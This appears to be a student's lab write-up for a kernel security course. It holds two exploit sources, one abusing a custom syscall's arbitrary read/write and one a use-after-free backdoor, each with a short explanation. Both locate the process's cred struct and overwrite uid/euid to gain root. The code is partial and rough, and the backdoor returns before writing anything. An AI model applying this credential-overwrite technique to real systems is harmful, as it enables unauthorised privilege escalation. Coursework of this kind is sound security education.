list_exploit.c

root@cs179-VirtualBox: /home/cs179/project2/cs179/home/cs179

```
#define _GNU_SOURCE
#include <unistd.h>

#include <stdio.h>
long threadinfo,reset,hp1,hp2,finaladdr,finalprev1, finalprev2, taskaddress1,taskaddress2;
void runExploit() {
    // First, locate thread info using provided system call. Check kernel source code.
   // long threadinfo = syscall(326,4,NULL);

   //change prev pointer, make prev pointer pt to aarbt address
   threadinfo = syscall(326,4,NULL);
    // Next, you need to find thread_info->task->cred
    //this will give uid,eid address

    // 1.  Use GDB to calculate the offset in the structure and find what is the relationship between thread_info
 and thread_info->task, struct task and task->cred, struct cred and cred->uid/cred->euid.
    //     For example:
    //     (gdb) print (int)&((struct thread_info*)0)->task
    //     will gives you the offset between struct thread_info and  thread_info->task
    // 2. Then you can make use of arbitrary read to get the address of struct task.
    reset = syscall(326,0,NULL);
     taskaddress1 = syscall(326,2,threadinfo-4);
             //print highest priority in 4 bytes
             hp1 = syscall(326,3,NULL);
     taskaddress2 = syscall(326,2,threadinfo);
 hp2 = syscall(326,3,NULL);
    // 3. Similarly, you can get the address of struct cred, uid/euid finally with the help of arbitrary read.
//address of cred
 finaladdr= (hp2 << 32) + hp1 + 1456;
     reset = syscall(326,0,NULL);
     finalprev1 = syscall(326,2,finaladdr-4);
             //print highest priority in 4 bytes
             hp1 = syscall(326,3,NULL);
     finalprev2 = syscall(326,2,finaladdr);
 hp2 = syscall(326,3,NULL);
//task->cred->uid

 //value of cred
   finaladdr= (hp2 << 32) + hp1;
//change prev insert new node 4x for euid and uid bc next only 1 byte
```

```
int arr[] = {-4,-3,-2,-1,12,13,14,15};
        for (int i = 0; i<8; i++)
        {
//case 0
        threadinfo = syscall(326,0,NULL);

             for(int j = 0 ; j < 255; j++)
                {
        //return truncation of 255 -> 0
        finalprev2 = syscall(326,1,0);
                }
//case 2
//prev arbt address of euid, uid
        finalprev1 = syscall(326,2,finaladdr+arr[i]);
        printf("address of uid: %ld", finaladdr + 4);
        printf("address of euid: %ld", finaladdr + 20);

//case 1
    // Finally, you will need to rewrite the uid/euid in cred struct and give your process highest privilege
        finalprev2 = syscall(326,1,0);



        }


return;
}
```

In the exploit function we call the syscall case for reset. This initializes size = 1. Then we calculate the prev pointers for uid and set the highest priority for each of the 4 bytes. Then using these priorities we calculate the address for the task. Then from gdb we know cred is 1456 away from task. After that we do the same process to get uid/euid. After that I created an array for all the offsets from next ptr to uids and euid's. Once I inserted up to 255 and j reached 255 the value would get truncated to 0 because passed the threshold for sizeof int. So finalprev2 would insert a node in the beginning with uid/euid = 0-> shell.

uaf_exploit.c

```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
// Backdoor function
// NOTE: This function is supposed to execute in kernel space
// Therefore, you should make NO system calls or the kernel will crash
unsigned long see = 0;
 //sp,thread size,thread_info()
void*current_thread_info(void){
unsigned long sp;
see = sp;
    asm("mov %%rsp,%0" : "=g" (sp));
return (void *)(sp - (1UL <<12));
}
void backdoor() {
    // First, locate thread info. Check kernel source code arch/x86/include/asm/thread_info.h`
    // Note that you cannot get it directly with the system call.
     //thread_info
long * a = current_thread_info();
return;
    // Next, you need to find thread_info->task->cred
    //
    // 1.  Use GDB to inspect the kernel stack and find what is the relationship between thread_info and thread_info->task->c
red.
    // 2.  Note that this function is executed in the kernel that you can read/write directly.

    // Finally, you will need to rewrite the cred struct (uid and euid) and give your process highest privilege
see = a;
//task ptr is first 8byte in thread info struct and a has value of that and this stored into *task
long * task = *a;

//see = *task;
//cred address = 182 64 bit ints from task
long * cred = task + 1456/8;
//cred2 = cred2
int * cred2 = cred;
//cred + 4
int * uid = cred2 + 1;
//cred + 20
int * euid = cred2 + 5;
see = *uid;
return;
```

7,22 Top

I first created a model of thread_info struct function to capture the location of thread info. In The backdoor function, variable was given the first 8 bytes of thread address. This was then stored on task pointer. The next member in thread_info struct is cred and it is 182 64 bits from task by memory. The uid,euid are respectively 4 bytes and 20 bytes away from cred.